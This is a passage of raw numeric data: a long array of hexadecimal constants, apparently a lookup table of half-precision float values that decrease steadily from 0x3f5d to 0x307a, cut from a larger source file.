0x0, 0x0, 0xbb33, 0x3f5d, 0x0, 0x0, 0xbb33, 0x3f55,
0x0, 0x0, 0xbb33, 0x3f4e, 0x0, 0x0, 0xbb33, 0x3f47,
0x0, 0x0, 0xbb33, 0x3f40, 0x0, 0x0, 0xbb33, 0x3f39,
0x0, 0x0, 0xbb33, 0x3f31, 0x0, 0x0, 0xbb33, 0x3f2a,
0x0, 0x0, 0xbb33, 0x3f23, 0x0, 0x0, 0xbb33, 0x3f1c,
0x0, 0x0, 0xbb33, 0x3f16, 0x0, 0x0, 0xbb33, 0x3f0f,
0x0, 0x0, 0xbb33, 0x3f08, 0x0, 0x0, 0xbb33, 0x3f01,
0x0, 0x0, 0xbb33, 0x3efa, 0x0, 0x0, 0xbb33, 0x3ef4,
0x0, 0x0, 0xbb33, 0x3eed, 0x0, 0x0, 0xbb33, 0x3ee6,
0x0, 0x0, 0xbb33, 0x3ee0, 0x0, 0x0, 0xbb33, 0x3ed9,
0x0, 0x0, 0xbb33, 0x3ed3, 0x0, 0x0, 0xbb33, 0x3ecc,
0x0, 0x0, 0xbb33, 0x3ec6, 0x0, 0x0, 0xbb33, 0x3ebf,
0x0, 0x0, 0xbb33, 0x3eb9, 0x0, 0x0, 0xbb33, 0x3eb3,
0x0, 0x0, 0xbb33, 0x3eac, 0x0, 0x0, 0xbb33, 0x3ea6,
0x0, 0x0, 0xbb33, 0x3ea0, 0x0, 0x0, 0xbb33, 0x3e9a,
0x0, 0x0, 0xbb33, 0x3e94, 0x0, 0x0, 0xbb33, 0x3e8d,
0x0, 0x0, 0xbb33, 0x3e87, 0x0, 0x0, 0xbb33, 0x3e81,
0x0, 0x0, 0xbb33, 0x3e7b, 0x0, 0x0, 0xbb33, 0x3e75,
0x0, 0x0, 0xbb33, 0x3e6f, 0x0, 0x0, 0xbb33, 0x3e69,
0x0, 0x0, 0xbb33, 0x3e64, 0x0, 0x0, 0xbb33, 0x3e5e,
0x0, 0x0, 0xbb33, 0x3e58, 0x0, 0x0, 0xbb33, 0x3e52,
0x0, 0x0, 0xbb33, 0x3e4c, 0x0, 0x0, 0xbb33, 0x3e47,
0x0, 0x0, 0xbb33, 0x3e41, 0x0, 0x0, 0xbb33, 0x3e3b,
0x0, 0x0, 0xbb33, 0x3e36, 0x0, 0x0, 0xbb33, 0x3e30,
0x0, 0x0, 0xbb33, 0x3e2b, 0x0, 0x0, 0xbb33, 0x3e25,
0x0, 0x0, 0xbb33, 0x3e1f, 0x0, 0x0, 0xbb33, 0x3e1a,
0x0, 0x0, 0xbb33, 0x3e14, 0x0, 0x0, 0xbb33, 0x3e0f,
0x0, 0x0, 0xbb33, 0x3e0a, 0x0, 0x0, 0xbb33, 0x3e04,
0x0, 0x0, 0xbb33, 0x3dff, 0x0, 0x0, 0xbb33, 0x3dfa,
0x0, 0x0, 0xbb33, 0x3df4, 0x0, 0x0, 0xbb33, 0x3def,
0x0, 0x0, 0xbb33, 0x3dea, 0x0, 0x0, 0xbb33, 0x3de5,
0x0, 0x0, 0xbb33, 0x3ddf, 0x0, 0x0, 0xbb33, 0x3dda,
0x0, 0x0, 0xbb33, 0x3dd5, 0x0, 0x0, 0xbb33, 0x3dd0,
0x0, 0x0, 0xbb33, 0x3dcb, 0x0, 0x0, 0xbb33, 0x3dc6,
0x0, 0x0, 0xbb33, 0x3dc1, 0x0, 0x0, 0xbb33, 0x3dbc,
0x0, 0x0, 0xbb33, 0x3db7, 0x0, 0x0, 0xbb33, 0x3db2,
0x0, 0x0, 0xbb33, 0x3dad, 0x0, 0x0, 0xbb33, 0x3da8,
0x0, 0x0, 0xbb33, 0x3da3, 0x0, 0x0, 0xbb33, 0x3d9e,
0x0, 0x0, 0xbb33, 0x3d99, 0x0, 0x0, 0xbb33, 0x3d95,
0x0, 0x0, 0xbb33, 0x3d90, 0x0, 0x0, 0xbb33, 0x3d8b,
0x0, 0x0, 0xbb33, 0x3d86, 0x0, 0x0, 0xbb33, 0x3d81,
0x0, 0x0, 0xbb33, 0x3d7d, 0x0, 0x0, 0xbb33, 0x3d78,
0x0, 0x0, 0xbb33, 0x3d73, 0x0, 0x0, 0xbb33, 0x3d6f,
0x0, 0x0, 0xbb33, 0x3d6a, 0x0, 0x0, 0xbb33, 0x3d66,
0x0, 0x0, 0xbb33, 0x3d61, 0x0, 0x0, 0xbb33, 0x3d5c,
0x0, 0x0, 0xbb33, 0x3d58, 0x0, 0x0, 0xbb33, 0x3d53,
0x0, 0x0, 0xbb33, 0x3d4f, 0x0, 0x0, 0xbb33, 0x3d4a,
0x0, 0x0, 0xbb33, 0x3d46, 0x0, 0x0, 0xbb33, 0x3d42,
0x0, 0x0, 0xbb33, 0x3d3d, 0x0, 0x0, 0xbb33, 0x3d39,
0x0, 0x0, 0xbb33, 0x3d34, 0x0, 0x0, 0xbb33, 0x3d30,
0x0, 0x0, 0xbb33, 0x3d2c, 0x0, 0x0, 0xbb33, 0x3d27,
0x0, 0x0, 0xbb33, 0x3d23, 0x0, 0x0, 0xbb33, 0x3d1f,
0x0, 0x0, 0xbb33, 0x3d1a, 0x0, 0x0, 0xbb33, 0x3d16,
0x0, 0x0, 0xbb33, 0x3d12, 0x0, 0x0, 0xbb33, 0x3d0e,
0x0, 0x0, 0xbb33, 0x3d0a, 0x0, 0x0, 0xbb33, 0x3d05,
0x0, 0x0, 0xbb33, 0x3d01, 0x0, 0x0, 0xbb33, 0x3cfd,
0x0, 0x0, 0xbb33, 0x3cf9, 0x0, 0x0, 0xbb33, 0x3cf5,
0x0, 0x0, 0xbb33, 0x3cf1, 0x0, 0x0, 0xbb33, 0x3ced,
0x0, 0x0, 0xbb33, 0x3ce9, 0x0, 0x0, 0xbb33, 0x3ce5,
0x0, 0x0, 0xbb33, 0x3ce1, 0x0, 0x0, 0xbb33, 0x3cdd,
0x0, 0x0, 0xbb33, 0x3cd9, 0x0, 0x0, 0xbb33, 0x3cd5,
0x0, 0x0, 0xbb33, 0x3cd1, 0x0, 0x0, 0xbb33, 0x3ccd,
0x0, 0x0, 0xbb33, 0x3cc9, 0x0, 0x0, 0xbb33, 0x3cc5,
0x0, 0x0, 0xbb33, 0x3cc1, 0x0, 0x0, 0xbb33, 0x3cbd,
0x0, 0x0, 0xbb33, 0x3cb9, 0x0, 0x0, 0xbb33, 0x3cb6,
0x0, 0x0, 0xbb33, 0x3cb2, 0x0, 0x0, 0xbb33, 0x3cae,
0x0, 0x0, 0xbb33, 0x3caa, 0x0, 0x0, 0xbb33, 0x3ca6,
0x0, 0x0, 0xbb33, 0x3ca3, 0x0, 0x0, 0xbb33, 0x3c9f,
0x0, 0x0, 0xbb33, 0x3c9b, 0x0, 0x0, 0xbb33, 0x3c97,
0x0, 0x0, 0xbb33, 0x3c94, 0x0, 0x0, 0xbb33, 0x3c90,
0x0, 0x0, 0xbb33, 0x3c8c, 0x0, 0x0, 0xbb33, 0x3c89,
0x0, 0x0, 0xbb33, 0x3c85, 0x0, 0x0, 0xbb33, 0x3c81,
0x0, 0x0, 0xbb33, 0x3c7e, 0x0, 0x0, 0xbb33, 0x3c7a,
0x0, 0x0, 0xbb33, 0x3c76, 0x0, 0x0, 0xbb33, 0x3c73,
0x0, 0x0, 0xbb33, 0x3c6f, 0x0, 0x0, 0xbb33, 0x3c6c,
0x0, 0x0, 0xbb33, 0x3c68, 0x0, 0x0, 0xbb33, 0x3c65,
0x0, 0x0, 0xbb33, 0x3c61, 0x0, 0x0, 0xbb33, 0x3c5e,
0x0, 0x0, 0xbb33, 0x3c5a, 0x0, 0x0, 0xbb33, 0x3c57,
0x0, 0x0, 0xbb33, 0x3c53, 0x0, 0x0, 0xbb33, 0x3c50,
0x0, 0x0, 0xbb33, 0x3c4c, 0x0, 0x0, 0xbb33, 0x3c49,
0x0, 0x0, 0xbb33, 0x3c46, 0x0, 0x0, 0xbb33, 0x3c42,
0x0, 0x0, 0xbb33, 0x3c3f, 0x0, 0x0, 0xbb33, 0x3c3b,
0x0, 0x0, 0xbb33, 0x3c38, 0x0, 0x0, 0xbb33, 0x3c35,
0x0, 0x0, 0xbb33, 0x3c31, 0x0, 0x0, 0xbb33, 0x3c2e,
0x0, 0x0, 0xbb33, 0x3c2b, 0x0, 0x0, 0xbb33, 0x3c27,
0x0, 0x0, 0xbb33, 0x3c24, 0x0, 0x0, 0xbb33, 0x3c21,
0x0, 0x0, 0xbb33, 0x3c1e, 0x0, 0x0, 0xbb33, 0x3c1a,
0x0, 0x0, 0xbb33, 0x3c17, 0x0, 0x0, 0xbb33, 0x3c14,
0x0, 0x0, 0xbb33, 0x3c11, 0x0, 0x0, 0xbb33, 0x3c0d,
0x0, 0x0, 0xbb33, 0x3c0a, 0x0, 0x0, 0xbb33, 0x3c07,
0x0, 0x0, 0xbb33, 0x3c04, 0x0, 0x0, 0xbb33, 0x3c01,
0x0, 0x0, 0xbb33, 0x3bfb, 0x0, 0x0, 0xbb33, 0x3bf5,
0x0, 0x0, 0xbb33, 0x3bef, 0x0, 0x0, 0xbb33, 0x3be8,
0x0, 0x0, 0xbb33, 0x3be2, 0x0, 0x0, 0xbb33, 0x3bdc,
0x0, 0x0, 0xbb33, 0x3bd6, 0x0, 0x0, 0xbb33, 0x3bcf,
0x0, 0x0, 0xbb33, 0x3bc9, 0x0, 0x0, 0xbb33, 0x3bc3,
0x0, 0x0, 0xbb33, 0x3bbd, 0x0, 0x0, 0xbb33, 0x3bb7,
0x0, 0x0, 0xbb33, 0x3bb1, 0x0, 0x0, 0xbb33, 0x3bab,
0x0, 0x0, 0xbb33, 0x3ba5, 0x0, 0x0, 0xbb33, 0x3b9f,
0x0, 0x0, 0xbb33, 0x3b99, 0x0, 0x0, 0xbb33, 0x3b93,
0x0, 0x0, 0xbb33, 0x3b8d, 0x0, 0x0, 0xbb33, 0x3b87,
0x0, 0x0, 0xbb33, 0x3b81, 0x0, 0x0, 0xbb33, 0x3b7b,
0x0, 0x0, 0xbb33, 0x3b75, 0x0, 0x0, 0xbb33, 0x3b70,
0x0, 0x0, 0xbb33, 0x3b6a, 0x0, 0x0, 0xbb33, 0x3b64,
0x0, 0x0, 0xbb33, 0x3b5e, 0x0, 0x0, 0xbb33, 0x3b58,
0x0, 0x0, 0xbb33, 0x3b53, 0x0, 0x0, 0xbb33, 0x3b4d,
0x0, 0x0, 0xbb33, 0x3b47, 0x0, 0x0, 0xbb33, 0x3b41,
0x0, 0x0, 0xbb33, 0x3b3c, 0x0, 0x0, 0xbb33, 0x3b36,
0x0, 0x0, 0xbb33, 0x3b30, 0x0, 0x0, 0xbb33, 0x3b2b,
0x0, 0x0, 0xbb33, 0x3b25, 0x0, 0x0, 0xbb33, 0x3b20,
0x0, 0x0, 0xbb33, 0x3b1a, 0x0, 0x0, 0xbb33, 0x3b14,
0x0, 0x0, 0xbb33, 0x3b0f, 0x0, 0x0, 0xbb33, 0x3b09,
0x0, 0x0, 0xbb33, 0x3b04, 0x0, 0x0, 0xbb33, 0x3afe,
0x0, 0x0, 0xbb33, 0x3af9, 0x0, 0x0, 0xbb33, 0x3af3,
0x0, 0x0, 0xbb33, 0x3aee, 0x0, 0x0, 0xbb33, 0x3ae8,
0x0, 0x0, 0xbb33, 0x3ae3, 0x0, 0x0, 0xbb33, 0x3ade,
0x0, 0x0, 0xbb33, 0x3ad8, 0x0, 0x0, 0xbb33, 0x3ad3,
0x0, 0x0, 0xbb33, 0x3acd, 0x0, 0x0, 0xbb33, 0x3ac8,
0x0, 0x0, 0xbb33, 0x3ac3, 0x0, 0x0, 0xbb33, 0x3abd,
0x0, 0x0, 0xbb33, 0x3ab8, 0x0, 0x0, 0xbb33, 0x3ab3,
0x0, 0x0, 0xbb33, 0x3aae, 0x0, 0x0, 0xbb33, 0x3aa8,
0x0, 0x0, 0xbb33, 0x3aa3, 0x0, 0x0, 0xbb33, 0x3a9e,
0x0, 0x0, 0xbb33, 0x3a99, 0x0, 0x0, 0xbb33, 0x3a93,
0x0, 0x0, 0xbb33, 0x3a8e, 0x0, 0x0, 0xbb33, 0x3a89,
0x0, 0x0, 0xbb33, 0x3a84, 0x0, 0x0, 0xbb33, 0x3a7f,
0x0, 0x0, 0xbb33, 0x3a7a, 0x0, 0x0, 0xbb33, 0x3a75,
0x0, 0x0, 0xbb33, 0x3a70, 0x0, 0x0, 0xbb33, 0x3a6a,
0x0, 0x0, 0xbb33, 0x3a65, 0x0, 0x0, 0xbb33, 0x3a60,
0x0, 0x0, 0xbb33, 0x3a5b, 0x0, 0x0, 0xbb33, 0x3a56,
0x0, 0x0, 0xbb33, 0x3a51, 0x0, 0x0, 0xbb33, 0x3a4c,
0x0, 0x0, 0xbb33, 0x3a47, 0x0, 0x0, 0xbb33, 0x3a42,
0x0, 0x0, 0xbb33, 0x3a3d, 0x0, 0x0, 0xbb33, 0x3a38,
0x0, 0x0, 0xbb33, 0x3a33, 0x0, 0x0, 0xbb33, 0x3a2f,
0x0, 0x0, 0xbb33, 0x3a2a, 0x0, 0x0, 0xbb33, 0x3a25,
0x0, 0x0, 0xbb33, 0x3a20, 0x0, 0x0, 0xbb33, 0x3a1b,
0x0, 0x0, 0xbb33, 0x3a16, 0x0, 0x0, 0xbb33, 0x3a11,
0x0, 0x0, 0xbb33, 0x3a0d, 0x0, 0x0, 0xbb33, 0x3a08,
0x0, 0x0, 0xbb33, 0x3a03, 0x0, 0x0, 0xbb33, 0x39fe,
0x0, 0x0, 0xbb33, 0x39f9, 0x0, 0x0, 0xbb33, 0x39f5,
0x0, 0x0, 0xbb33, 0x39f0, 0x0, 0x0, 0xbb33, 0x39eb,
0x0, 0x0, 0xbb33, 0x39e6, 0x0, 0x0, 0xbb33, 0x39e2,
0x0, 0x0, 0xbb33, 0x39dd, 0x0, 0x0, 0xbb33, 0x39d8,
0x0, 0x0, 0xbb33, 0x39d4, 0x0, 0x0, 0xbb33, 0x39cf,
0x0, 0x0, 0xbb33, 0x39ca, 0x0, 0x0, 0xbb33, 0x39c6,
0x0, 0x0, 0xbb33, 0x39c1, 0x0, 0x0, 0xbb33, 0x39bc,
0x0, 0x0, 0xbb33, 0x39b8, 0x0, 0x0, 0xbb33, 0x39b3,
0x0, 0x0, 0xbb33, 0x39ae, 0x0, 0x0, 0xbb33, 0x39aa,
0x0, 0x0, 0xbb33, 0x39a5, 0x0, 0x0, 0xbb33, 0x39a1,
0x0, 0x0, 0xbb33, 0x399c, 0x0, 0x0, 0xbb33, 0x3998,
0x0, 0x0, 0xbb33, 0x3993, 0x0, 0x0, 0xbb33, 0x398f,
0x0, 0x0, 0xbb33, 0x398a, 0x0, 0x0, 0xbb33, 0x3986,
0x0, 0x0, 0xbb33, 0x3981, 0x0, 0x0, 0xbb33, 0x397d,
0x0, 0x0, 0xbb33, 0x3978, 0x0, 0x0, 0xbb33, 0x3974,
0x0, 0x0, 0xbb33, 0x396f, 0x0, 0x0, 0xbb33, 0x396b,
0x0, 0x0, 0xbb33, 0x3966, 0x0, 0x0, 0xbb33, 0x3962,
0x0, 0x0, 0xbb33, 0x395e, 0x0, 0x0, 0xbb33, 0x3959,
0x0, 0x0, 0xbb33, 0x3955, 0x0, 0x0, 0xbb33, 0x3950,
0x0, 0x0, 0xbb33, 0x394c, 0x0, 0x0, 0xbb33, 0x3948,
0x0, 0x0, 0xbb33, 0x3943, 0x0, 0x0, 0xbb33, 0x393f,
0x0, 0x0, 0xbb33, 0x393b, 0x0, 0x0, 0xbb33, 0x3936,
0x0, 0x0, 0xbb33, 0x3932, 0x0, 0x0, 0xbb33, 0x392e,
0x0, 0x0, 0xbb33, 0x392a, 0x0, 0x0, 0xbb33, 0x3925,
0x0, 0x0, 0xbb33, 0x3921, 0x0, 0x0, 0xbb33, 0x391d,
0x0, 0x0, 0xbb33, 0x3918, 0x0, 0x0, 0xbb33, 0x3914,
0x0, 0x0, 0xbb33, 0x3910, 0x0, 0x0, 0xbb33, 0x390c,
0x0, 0x0, 0xbb33, 0x3908, 0x0, 0x0, 0xbb33, 0x3903,
0x0, 0x0, 0xbb33, 0x38ff, 0x0, 0x0, 0xbb33, 0x38fb,
0x0, 0x0, 0xbb33, 0x38f7, 0x0, 0x0, 0xbb33, 0x38f3,
0x0, 0x0, 0xbb33, 0x38ee, 0x0, 0x0, 0xbb33, 0x38ea,
0x0, 0x0, 0xbb33, 0x38e6, 0x0, 0x0, 0xbb33, 0x38e2,
0x0, 0x0, 0xbb33, 0x38de, 0x0, 0x0, 0xbb33, 0x38da,
0x0, 0x0, 0xbb33, 0x38d6, 0x0, 0x0, 0xbb33, 0x38d2,
0x0, 0x0, 0xbb33, 0x38ce, 0x0, 0x0, 0xbb33, 0x38c9,
0x0, 0x0, 0xbb33, 0x38c5, 0x0, 0x0, 0xbb33, 0x38c1,
0x0, 0x0, 0xbb33, 0x38bd, 0x0, 0x0, 0xbb33, 0x38b9,
0x0, 0x0, 0xbb33, 0x38b5, 0x0, 0x0, 0xbb33, 0x38b1,
0x0, 0x0, 0xbb33, 0x38ad, 0x0, 0x0, 0xbb33, 0x38a9,
0x0, 0x0, 0xbb33, 0x38a5, 0x0, 0x0, 0xbb33, 0x38a1,
0x0, 0x0, 0xbb33, 0x389d, 0x0, 0x0, 0xbb33, 0x3899,
0x0, 0x0, 0xbb33, 0x3895, 0x0, 0x0, 0xbb33, 0x3891,
0x0, 0x0, 0xbb33, 0x388d, 0x0, 0x0, 0xbb33, 0x3889,
0x0, 0x0, 0xbb33, 0x3885, 0x0, 0x0, 0xbb33, 0x3881,
0x0, 0x0, 0xbb33, 0x387d, 0x0, 0x0, 0xbb33, 0x387a,
0x0, 0x0, 0xbb33, 0x3876, 0x0, 0x0, 0xbb33, 0x3872,
0x0, 0x0, 0xbb33, 0x386e, 0x0, 0x0, 0xbb33, 0x386a,
0x0, 0x0, 0xbb33, 0x3866, 0x0, 0x0, 0xbb33, 0x3862,
0x0, 0x0, 0xbb33, 0x385e, 0x0, 0x0, 0xbb33, 0x385a,
0x0, 0x0, 0xbb33, 0x3857, 0x0, 0x0, 0xbb33, 0x3853,
0x0, 0x0, 0xbb33, 0x384f, 0x0, 0x0, 0xbb33, 0x384b,
0x0, 0x0, 0xbb33, 0x3847, 0x0, 0x0, 0xbb33, 0x3843,
0x0, 0x0, 0xbb33, 0x3840, 0x0, 0x0, 0xbb33, 0x383c,
0x0, 0x0, 0xbb33, 0x3838, 0x0, 0x0, 0xbb33, 0x3834,
0x0, 0x0, 0xbb33, 0x3830, 0x0, 0x0, 0xbb33, 0x382d,
0x0, 0x0, 0xbb33, 0x3829, 0x0, 0x0, 0xbb33, 0x3825,
0x0, 0x0, 0xbb33, 0x3821, 0x0, 0x0, 0xbb33, 0x381e,
0x0, 0x0, 0xbb33, 0x381a, 0x0, 0x0, 0xbb33, 0x3816,
0x0, 0x0, 0xbb33, 0x3812, 0x0, 0x0, 0xbb33, 0x380f,
0x0, 0x0, 0xbb33, 0x380b, 0x0, 0x0, 0xbb33, 0x3807,
0x0, 0x0, 0xbb33, 0x3803, 0x0, 0x0, 0xbb33, 0x37ff,
0x0, 0x0, 0xbb33, 0x37f8, 0x0, 0x0, 0xbb33, 0x37f1,
0x0, 0x0, 0xbb33, 0x37e9, 0x0, 0x0, 0xbb33, 0x37e2,
0x0, 0x0, 0xbb33, 0x37db, 0x0, 0x0, 0xbb33, 0x37d3,
0x0, 0x0, 0xbb33, 0x37cc, 0x0, 0x0, 0xbb33, 0x37c5,
0x0, 0x0, 0xbb33, 0x37bd, 0x0, 0x0, 0xbb33, 0x37b6,
0x0, 0x0, 0xbb33, 0x37af, 0x0, 0x0, 0xbb33, 0x37a8,
0x0, 0x0, 0xbb33, 0x37a0, 0x0, 0x0, 0xbb33, 0x3799,
0x0, 0x0, 0xbb33, 0x3792, 0x0, 0x0, 0xbb33, 0x378b,
0x0, 0x0, 0xbb33, 0x3783, 0x0, 0x0, 0xbb33, 0x377c,
0x0, 0x0, 0xbb33, 0x3775, 0x0, 0x0, 0xbb33, 0x376e,
0x0, 0x0, 0xbb33, 0x3767, 0x0, 0x0, 0xbb33, 0x3760,
0x0, 0x0, 0xbb33, 0x3758, 0x0, 0x0, 0xbb33, 0x3751,
0x0, 0x0, 0xbb33, 0x374a, 0x0, 0x0, 0xbb33, 0x3743,
0x0, 0x0, 0xbb33, 0x373c, 0x0, 0x0, 0xbb33, 0x3735,
0x0, 0x0, 0xbb33, 0x372e, 0x0, 0x0, 0xbb33, 0x3727,
0x0, 0x0, 0xbb33, 0x3720, 0x0, 0x0, 0xbb33, 0x3719,
0x0, 0x0, 0xbb33, 0x3712, 0x0, 0x0, 0xbb33, 0x370b,
0x0, 0x0, 0xbb33, 0x3704, 0x0, 0x0, 0xbb33, 0x36fd,
0x0, 0x0, 0xbb33, 0x36f6, 0x0, 0x0, 0xbb33, 0x36ef,
0x0, 0x0, 0xbb33, 0x36e8, 0x0, 0x0, 0xbb33, 0x36e1,
0x0, 0x0, 0xbb33, 0x36da, 0x0, 0x0, 0xbb33, 0x36d3,
0x0, 0x0, 0xbb33, 0x36cc, 0x0, 0x0, 0xbb33, 0x36c5,
0x0, 0x0, 0xbb33, 0x36be, 0x0, 0x0, 0xbb33, 0x36b7,
0x0, 0x0, 0xbb33, 0x36b0, 0x0, 0x0, 0xbb33, 0x36aa,
0x0, 0x0, 0xbb33, 0x36a3, 0x0, 0x0, 0xbb33, 0x369c,
0x0, 0x0, 0xbb33, 0x3695, 0x0, 0x0, 0xbb33, 0x368e,
0x0, 0x0, 0xbb33, 0x3687, 0x0, 0x0, 0xbb33, 0x3681,
0x0, 0x0, 0xbb33, 0x367a, 0x0, 0x0, 0xbb33, 0x3673,
0x0, 0x0, 0xbb33, 0x366c, 0x0, 0x0, 0xbb33, 0x3665,
0x0, 0x0, 0xbb33, 0x365f, 0x0, 0x0, 0xbb33, 0x3658,
0x0, 0x0, 0xbb33, 0x3651, 0x0, 0x0, 0xbb33, 0x364a,
0x0, 0x0, 0xbb33, 0x3644, 0x0, 0x0, 0xbb33, 0x363d,
0x0, 0x0, 0xbb33, 0x3636, 0x0, 0x0, 0xbb33, 0x3630,
0x0, 0x0, 0xbb33, 0x3629, 0x0, 0x0, 0xbb33, 0x3622,
0x0, 0x0, 0xbb33, 0x361c, 0x0, 0x0, 0xbb33, 0x3615,
0x0, 0x0, 0xbb33, 0x360e, 0x0, 0x0, 0xbb33, 0x3608,
0x0, 0x0, 0xbb33, 0x3601, 0x0, 0x0, 0xbb33, 0x35fa,
0x0, 0x0, 0xbb33, 0x35f4, 0x0, 0x0, 0xbb33, 0x35ed,
0x0, 0x0, 0xbb33, 0x35e6, 0x0, 0x0, 0xbb33, 0x35e0,
0x0, 0x0, 0xbb33, 0x35d9, 0x0, 0x0, 0xbb33, 0x35d3,
0x0, 0x0, 0xbb33, 0x35cc, 0x0, 0x0, 0xbb33, 0x35c6,
0x0, 0x0, 0xbb33, 0x35bf, 0x0, 0x0, 0xbb33, 0x35b8,
0x0, 0x0, 0xbb33, 0x35b2, 0x0, 0x0, 0xbb33, 0x35ab,
0x0, 0x0, 0xbb33, 0x35a5, 0x0, 0x0, 0xbb33, 0x359e,
0x0, 0x0, 0xbb33, 0x3598, 0x0, 0x0, 0xbb33, 0x3591,
0x0, 0x0, 0xbb33, 0x358b, 0x0, 0x0, 0xbb33, 0x3584,
0x0, 0x0, 0xbb33, 0x357e, 0x0, 0x0, 0xbb33, 0x3577,
0x0, 0x0, 0xbb33, 0x3571, 0x0, 0x0, 0xbb33, 0x356a,
0x0, 0x0, 0xbb33, 0x3564, 0x0, 0x0, 0xbb33, 0x355d,
0x0, 0x0, 0xbb33, 0x3557, 0x0, 0x0, 0xbb33, 0x3551,
0x0, 0x0, 0xbb33, 0x354a, 0x0, 0x0, 0xbb33, 0x3544,
0x0, 0x0, 0xbb33, 0x353d, 0x0, 0x0, 0xbb33, 0x3537,
0x0, 0x0, 0xbb33, 0x3531, 0x0, 0x0, 0xbb33, 0x352a,
0x0, 0x0, 0xbb33, 0x3524, 0x0, 0x0, 0xbb33, 0x351d,
0x0, 0x0, 0xbb33, 0x3517, 0x0, 0x0, 0xbb33, 0x3511,
0x0, 0x0, 0xbb33, 0x350a, 0x0, 0x0, 0xbb33, 0x3504,
0x0, 0x0, 0xbb33, 0x34fe, 0x0, 0x0, 0xbb33, 0x34f7,
0x0, 0x0, 0xbb33, 0x34f1, 0x0, 0x0, 0xbb33, 0x34eb,
0x0, 0x0, 0xbb33, 0x34e4, 0x0, 0x0, 0xbb33, 0x34de,
0x0, 0x0, 0xbb33, 0x34d8, 0x0, 0x0, 0xbb33, 0x34d2,
0x0, 0x0, 0xbb33, 0x34cb, 0x0, 0x0, 0xbb33, 0x34c5,
0x0, 0x0, 0xbb33, 0x34bf, 0x0, 0x0, 0xbb33, 0x34b8,
0x0, 0x0, 0xbb33, 0x34b2, 0x0, 0x0, 0xbb33, 0x34ac,
0x0, 0x0, 0xbb33, 0x34a6, 0x0, 0x0, 0xbb33, 0x349f,
0x0, 0x0, 0xbb33, 0x3499, 0x0, 0x0, 0xbb33, 0x3493,
0x0, 0x0, 0xbb33, 0x348d, 0x0, 0x0, 0xbb33, 0x3487,
0x0, 0x0, 0xbb33, 0x3480, 0x0, 0x0, 0xbb33, 0x347a,
0x0, 0x0, 0xbb33, 0x3474, 0x0, 0x0, 0xbb33, 0x346e,
0x0, 0x0, 0xbb33, 0x3468, 0x0, 0x0, 0xbb33, 0x3461,
0x0, 0x0, 0xbb33, 0x345b, 0x0, 0x0, 0xbb33, 0x3455,
0x0, 0x0, 0xbb33, 0x344f, 0x0, 0x0, 0xbb33, 0x3449,
0x0, 0x0, 0xbb33, 0x3443, 0x0, 0x0, 0xbb33, 0x343c,
0x0, 0x0, 0xbb33, 0x3436, 0x0, 0x0, 0xbb33, 0x3430,
0x0, 0x0, 0xbb33, 0x342a, 0x0, 0x0, 0xbb33, 0x3424,
0x0, 0x0, 0xbb33, 0x341e, 0x0, 0x0, 0xbb33, 0x3418,
0x0, 0x0, 0xbb33, 0x3412, 0x0, 0x0, 0xbb33, 0x340b,
0x0, 0x0, 0xbb33, 0x3405, 0x0, 0x0, 0xbb33, 0x33fe,
0x0, 0x0, 0xbb33, 0x33f2, 0x0, 0x0, 0xbb33, 0x33e6,
0x0, 0x0, 0xbb33, 0x33da, 0x0, 0x0, 0xbb33, 0x33ce,
0x0, 0x0, 0xbb33, 0x33c2, 0x0, 0x0, 0xbb33, 0x33b6,
0x0, 0x0, 0xbb33, 0x33a9, 0x0, 0x0, 0xbb33, 0x339d,
0x0, 0x0, 0xbb33, 0x3391, 0x0, 0x0, 0xbb33, 0x3385,
0x0, 0x0, 0xbb33, 0x3379, 0x0, 0x0, 0xbb33, 0x336d,
0x0, 0x0, 0xbb33, 0x3361, 0x0, 0x0, 0xbb33, 0x3355,
0x0, 0x0, 0xbb33, 0x3349, 0x0, 0x0, 0xbb33, 0x333d,
0x0, 0x0, 0xbb33, 0x3331, 0x0, 0x0, 0xbb33, 0x3325,
0x0, 0x0, 0xbb33, 0x3319, 0x0, 0x0, 0xbb33, 0x330d,
0x0, 0x0, 0xbb33, 0x3301, 0x0, 0x0, 0xbb33, 0x32f5,
0x0, 0x0, 0xbb33, 0x32e9, 0x0, 0x0, 0xbb33, 0x32dd,
0x0, 0x0, 0xbb33, 0x32d1, 0x0, 0x0, 0xbb33, 0x32c5,
0x0, 0x0, 0xbb33, 0x32b9, 0x0, 0x0, 0xbb33, 0x32ad,
0x0, 0x0, 0xbb33, 0x32a1, 0x0, 0x0, 0xbb33, 0x3295,
0x0, 0x0, 0xbb33, 0x3289, 0x0, 0x0, 0xbb33, 0x327e,
0x0, 0x0, 0xbb33, 0x3272, 0x0, 0x0, 0xbb33, 0x3266,
0x0, 0x0, 0xbb33, 0x325a, 0x0, 0x0, 0xbb33, 0x324e,
0x0, 0x0, 0xbb33, 0x3242, 0x0, 0x0, 0xbb33, 0x3236,
0x0, 0x0, 0xbb33, 0x322b, 0x0, 0x0, 0xbb33, 0x321f,
0x0, 0x0, 0xbb33, 0x3213, 0x0, 0x0, 0xbb33, 0x3207,
0x0, 0x0, 0xbb33, 0x31fb, 0x0, 0x0, 0xbb33, 0x31f0,
0x0, 0x0, 0xbb33, 0x31e4, 0x0, 0x0, 0xbb33, 0x31d8,
0x0, 0x0, 0xbb33, 0x31cc, 0x0, 0x0, 0xbb33, 0x31c0,
0x0, 0x0, 0xbb33, 0x31b5, 0x0, 0x0, 0xbb33, 0x31a9,
0x0, 0x0, 0xbb33, 0x319d, 0x0, 0x0, 0xbb33, 0x3191,
0x0, 0x0, 0xbb33, 0x3186, 0x0, 0x0, 0xbb33, 0x317a,
0x0, 0x0, 0xbb33, 0x316e, 0x0, 0x0, 0xbb33, 0x3163,
0x0, 0x0, 0xbb33, 0x3157, 0x0, 0x0, 0xbb33, 0x314b,
0x0, 0x0, 0xbb33, 0x313f, 0x0, 0x0, 0xbb33, 0x3134,
0x0, 0x0, 0xbb33, 0x3128, 0x0, 0x0, 0xbb33, 0x311c,
0x0, 0x0, 0xbb33, 0x3111, 0x0, 0x0, 0xbb33, 0x3105,
0x0, 0x0, 0xbb33, 0x30f9, 0x0, 0x0, 0xbb33, 0x30ee,
0x0, 0x0, 0xbb33, 0x30e2, 0x0, 0x0, 0xbb33, 0x30d7,
0x0, 0x0, 0xbb33, 0x30cb, 0x0, 0x0, 0xbb33, 0x30bf,
0x0, 0x0, 0xbb33, 0x30b4, 0x0, 0x0, 0xbb33, 0x30a8,
0x0, 0x0, 0xbb33, 0x309c, 0x0, 0x0, 0xbb33, 0x3091,
0x0, 0x0, 0xbb33, 0x3085, 0x0, 0x0, 0xbb33, 0x307a,
